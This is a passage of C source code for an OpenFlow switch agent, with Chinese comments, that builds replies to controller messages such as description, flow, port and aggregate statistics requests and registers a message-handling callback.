switch_config_reply->miss_send_len = htons(0xffe5); //65509,基于协议
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Description Request消息
*
* 该函数用于处理接收到的OpenFlow Description Request消息并返回交换机的描述信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_desc(struct ofp_buffer *ofpbuf)
{
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_multipart)+sizeof(struct ofp_desc_stats);
struct ofp_buffer *ofpbuf_reply =
(struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,ofpbuf->header.xid,reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
static const char *default_mfr_desc = "Chengjingyu_Networks";
static const char *default_hw_desc = "Jingyu_OpenBox";
static const char *default_sw_desc = "Jingyu_Driver";
static const char *default_serial_desc = "Jingyu OpenBox Series";
static const char *default_dp_desc = "None";
ofpmp_reply->type = htons(OFPMP_DESC);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
snprintf(ofpmp_reply->ofpmp_desc[0].mfr_desc, sizeof ofpmp_reply->ofpmp_desc[0].mfr_desc, "%s", default_mfr_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].hw_desc, sizeof ofpmp_reply->ofpmp_desc[0].hw_desc, "%s", default_hw_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].sw_desc, sizeof ofpmp_reply->ofpmp_desc[0].sw_desc, "%s", default_sw_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].serial_num, sizeof ofpmp_reply->ofpmp_desc[0].serial_num, "%s", default_serial_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].dp_desc, sizeof ofpmp_reply->ofpmp_desc[0].dp_desc, "%s", default_dp_desc);
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Flow Stats Request消息
*
* 该函数用于处理接收到的OpenFlow Flow Stats Request消息并返回流统计信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_flow_stats(struct ofp_buffer *ofpbuf)
{
int i = 0, reply_len = 0, flow_stats_offset;
struct ofp_flow_stats *current_flow_stats = NULL;
struct ofp_buffer *reply_buffer = NULL;
struct ofp_multipart *multipart_reply = NULL;
// 计算长度
for (; i < FAST_RULE_CNT; i++) {
if (flow_stats_addr[i] != NULL) {
reply_len += ntohs(((struct ofp_flow_stats *)flow_stats_addr[i])->length);
}
}
reply_len += sizeof(struct ofp_header) + sizeof(struct ofp_multipart);
// 构造响应包
reply_buffer = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
multipart_reply = (struct ofp_multipart *)reply_buffer->data;
multipart_reply->type = htons(OFPMP_FLOW); // 标识信息
multipart_reply->flags = htonl(OFPMP_REPLY_MORE_NO); //这条不用回
// 填充包体
flow_stats_offset = sizeof(struct ofp_multipart);
current_flow_stats = (struct ofp_flow_stats *)&reply_buffer->data[flow_stats_offset];
for (i = 0; i < FAST_RULE_CNT; i++) {
if (flow_stats_addr[i] != NULL) {
memcpy(current_flow_stats, flow_stats_addr[i], ntohs(((struct ofp_flow_stats *)flow_stats_addr[i])->length));
flow_stats_offset += ntohs(current_flow_stats->length);
current_flow_stats = (struct ofp_flow_stats *)&reply_buffer->data[flow_stats_offset];
}
}
send_openflow_message(reply_buffer, reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Aggregate Stats Request消息
*
* 该函数用于处理接收到的OpenFlow Aggregate Stats Request消息并返回聚合统计信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_aggregate(struct ofp_buffer *ofpbuf)
{
int reply_len = sizeof(struct ofp_header)+ sizeof(struct ofp_multipart)+sizeof(struct ofp_aggregate_stats_reply);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
int i = 0,flow_count = 0;
u64 byte_count = 0,packet_count = 0;
struct timeval tv;
ofpmp_reply->type = htons(OFPMP_AGGREGATE);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
gettimeofday(&tv, NULL);
for (; i < FAST_RULE_CNT; i++) {
if (flow_stats_addr[i] != NULL) {
((struct ofp_flow_stats *)flow_stats_addr[i])->duration_sec = htonl(tv.tv_sec - flow_stats_time[i].tv_sec);
((struct ofp_flow_stats *)flow_stats_addr[i])->duration_nsec = htonl(tv.tv_usec - flow_stats_time[i].tv_usec);
// ((struct ofp_flow_stats *)flow_stats_addr[i])->packet_count = ((uint64_t)0x100); // 涉及硬件地址拼尽全力无法找到姑且填充256
// ((struct ofp_flow_stats *)flow_stats_addr[i])->byte_count = ((uint64_t)0x40000); // 涉及硬件地址拼尽全力无法找到姑且填充262144=256*1024
// 从硬件寄存器读取数据包计数和字节计数
((struct ofp_flow_stats *)flow_stats_addr[i])->packet_count = fast_reg_rd(FAST_OFP_FLOW_STATS_PKTS + i * sizeof(uint64_t));
((struct ofp_flow_stats *)flow_stats_addr[i])->byte_count = fast_reg_rd(FAST_OFP_FLOW_STATS_BYTES + i * sizeof(uint64_t));
packet_count += ((struct ofp_flow_stats *)flow_stats_addr[i])->packet_count;
byte_count += ((struct ofp_flow_stats *)flow_stats_addr[i])->byte_count;
flow_count++;
}
}
ofpmp_reply->ofpmp_aggregate_reply[0].packet_count = packet_count;
ofpmp_reply->ofpmp_aggregate_reply[0].byte_count = byte_count;
ofpmp_reply->ofpmp_aggregate_reply[0].flow_count = flow_count;
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Table Stats Request消息
*
* 该函数用于处理接收到的OpenFlow Table Stats Request消息并返回表统计信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_table(struct ofp_buffer *ofpbuf)
{
int i = 0;
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_multipart)+
sizeof(struct ofp_table_stats)*1;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_TABLE);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
for(i=0;i<1;i++)
{
ofpmp_reply->table_stats[i].matched_count = htonll(0);
ofpmp_reply->table_stats[i].table_id = i;
ofpmp_reply->table_stats[i].lookup_count = htonll(0);
ofpmp_reply->table_stats[i].active_count = htonl(1);
}
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Port Stats Request消息
*
* 该函数用于处理接收到的OpenFlow Port Stats Request消息并返回端口统计信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_port_stats(struct ofp_buffer *ofpbuf)
{
int i = 0;
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_multipart)+
sizeof(struct ofp_port_stats)*nmps.cnt;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
struct timeval tv;
ofpmp_reply->type = htons(OFPMP_PORT_STATS);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
for(i=0;i<nmps.cnt;i++){
gettimeofday(&tv,NULL);
ofpmp_reply->ofpmp_port_stats[i] = nmps.ports[i].stats;
ofpmp_reply->ofpmp_port_stats[i].duration_sec = htonl(start_tv.tv_sec - tv.tv_sec);
ofpmp_reply->ofpmp_port_stats[i].duration_nsec = htonl(tv.tv_usec);
}
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Group Features Request消息
*
* 该函数用于处理接收到的OpenFlow Group Features Request消息并返回组功能信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_group_features(struct ofp_buffer *ofpbuf)
{
int i = 0;
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_group_features)+8;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_group_features *group = (struct ofp_group_features *)ofpbuf_reply->data;
group->types = htons(OFPMP_GROUP_FEATURES);
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Port Description Request消息
*
* 该函数用于处理接收到的OpenFlow Port Description Request消息并返回端口描述信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_port_desc(struct ofp_buffer *ofpbuf)
{
int i = 0;
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_multipart)+
sizeof(struct ofp_port)*nmps.cnt;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY,
ofpbuf->header.xid,reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_PORT_DESC);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
for(i=0;i<nmps.cnt;i++)
{
ofpmp_reply->ofpmp_port_desc[i] = nmps.ports[i].state;
}
send_openflow_message(ofpbuf_reply,reply_len);
return HANDLE;
}
/**
* @brief 处理OpenFlow Packet Out消息
*
* 该函数用于处理接收到的OpenFlow Packet Out消息并根据消息中的动作执行相应的操作。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle_ofpmsg_packet_out(struct ofp_buffer *ofpbuf)
{
struct ofp_packet_out *out = (struct ofp_packet_out *)ofpbuf;
struct ofp_action_output *action = (struct ofp_action_output *)&out->actions[0];
int action_len = ntohs(out->actions_len);
struct eth_header *eth = (struct eth_header *)&ofpbuf->data[sizeof(struct ofp_packet_out) - sizeof(struct ofp_header) + action_len];
int i = 0,send_len = ntohs(ofpbuf->header.length) - sizeof(struct ofp_packet_out) - action_len;
if(action_len == 0)
{
nms_exec_action(ntohl(out->in_port),OFPP_FLOOD,eth,send_len,-1);
}
else
{
while(action_len > 0)
{
if(action->type == OFPAT_OUTPUT)
{
nms_exec_action(ntohl(out->in_port),ntohl(action->port),eth,send_len,-1);
}
action_len -= sizeof(struct ofp_action_output);
action++;
}
}
return HANDLE;
}
/**
* @brief 处理OpenFlow Role Request消息
*
* 该函数用于处理接收到的OpenFlow Role Request消息并返回角色信息。
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
*
* @return 返回处理状态码
*/
static enum ofperr
handle__opfmsg_role_request(struct ofp_buffer *ofpbuf)
{
int reply_len = sizeof(struct ofp_header)+sizeof(struct ofp_role);
struct ofp_buffer *ofpbuf_reply =
(struct ofp_buffer *)build_reply_ofpbuf(OFPT_ROLE_REPLY,ofpbuf->header.xid,reply_len);
SHOW_FUN(0);
memcpy(ofpbuf_reply->data,ofpbuf->data,sizeof(struct ofp_role));
ofpbuf_reply->header.type = OFPT_ROLE_REPLY;
send_openflow_message(ofpbuf_reply,reply_len);
SHOW_FUN(1);
return HANDLE;
}
/**
* @brief OpenFlow消息回调处理函数
*
* 该函数根据接收到的OpenFlow消息类型调用相应的处理函数。
* callback 的返回值必须有且只能存在两种返回值:
* 已处理: HANDLE = 0x1,
* 不处理CONTINUE = 0x2
*
* @param ofpbuf 接收到的OpenFlow消息缓冲区
* @param len 消息长度
*
* @return 返回处理状态码
*/
enum ofperr handle_openflow_callback(struct ofp_buffer *ofpbuf, int len)
{
int oftype = ofpbuf->header.type;
printf("header.version:%d, type:%d, len:%d\n", ofpbuf->header.version, ofpbuf->header.type, htons(ofpbuf->header.length));
switch (oftype) {
case OFPT_HELLO:
return handle_opfmsg_hello(ofpbuf);
case OFPT_FEATURES_REQUEST:
return handle_opfmsg_features_request(ofpbuf);
case OFPT_GET_CONFIG_REQUEST:
return handle_ofpmsg_get_config_request(ofpbuf);
case OFPT_MULTIPART_REQUEST:
// 根据 multipart 请求的具体类型进一步处理
{
struct ofp_multipart *multipart = (struct ofp_multipart *)ofpbuf->data;
switch (ntohs(multipart->type)) {
case OFPMP_DESC:
return handle_ofpmsg_desc(ofpbuf);
case OFPMP_FLOW:
return handle_ofpmsg_flow_stats(ofpbuf);
case OFPMP_AGGREGATE:
return handle_ofpmsg_aggregate(ofpbuf);
case OFPMP_TABLE:
return handle_ofpmsg_table(ofpbuf);
case OFPMP_PORT_STATS:
return handle_ofpmsg_port_stats(ofpbuf);
case OFPMP_GROUP_FEATURES:
return handle_ofpmsg_group_features(ofpbuf);
case OFPMP_PORT_DESC:
return handle_ofpmsg_port_desc(ofpbuf);
default:
printf("Unsupported multipart request type: %d\n", ntohs(multipart->type));
break;
}
}
break;
case OFPT_PACKET_OUT:
return handle_ofpmsg_packet_out(ofpbuf);
case OFPT_ROLE_REQUEST:
return handle__opfmsg_role_request(ofpbuf);
default:
printf(" --do not handle the message!\n");
}
// 返回不处理状态码
return CONTINUE;
}
#define MASK_HELLO (1 << OFPT_HELLO) // 1 << 0
#define MASK_FEATURES_REQUEST (1 << OFPT_FEATURES_REQUEST) // 1 << 5
#define MASK_GET_CONFIG_REQUEST (1 << OFPT_GET_CONFIG_REQUEST) // 1 << 7
#define MASK_PACKET_OUT (1 << OFPT_PACKET_OUT) // 1 << 13
#define MASK_MULTIPART_REQUEST (1 << OFPT_MULTIPART_REQUEST) // 1 << 18
#define MASK_ROLE_REQUEST (1 << OFPT_ROLE_REQUEST) // 1 << 24
/** mask 为获取openflow消息的bimap掩码,openflow消息枚举见 "enum ofp_type"
*
* 如:获取 OFPT_HELLO(0) 和 OFPT_FEATURES_REQUEST(5)消息,
* mask值设为 mask = 0b'100001 = 0x21
*
*/
int main(int argc,char* argv[])
{
int mask = 0;
ofp_init(argc,argv);
// 使用宏为 mask 赋值,监听以下消息类型:
// OFPT_HELLO, OFPT_FEATURES_REQUEST, OFPT_GET_CONFIG_REQUEST,
// OFPT_PACKET_OUT, OFPT_MULTIPART_REQUEST, OFPT_ROLE_REQUEST
mask = MASK_HELLO | MASK_FEATURES_REQUEST | MASK_GET_CONFIG_REQUEST |
MASK_PACKET_OUT | MASK_MULTIPART_REQUEST | MASK_ROLE_REQUEST;
openflow_hook_init(mask,handle_openflow_callback);
pause();
return 0;
}
// sudo xofp -4 127.0.0.1 -c eth0 -i obx0,obx1,obx2,obx3

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 395 KiB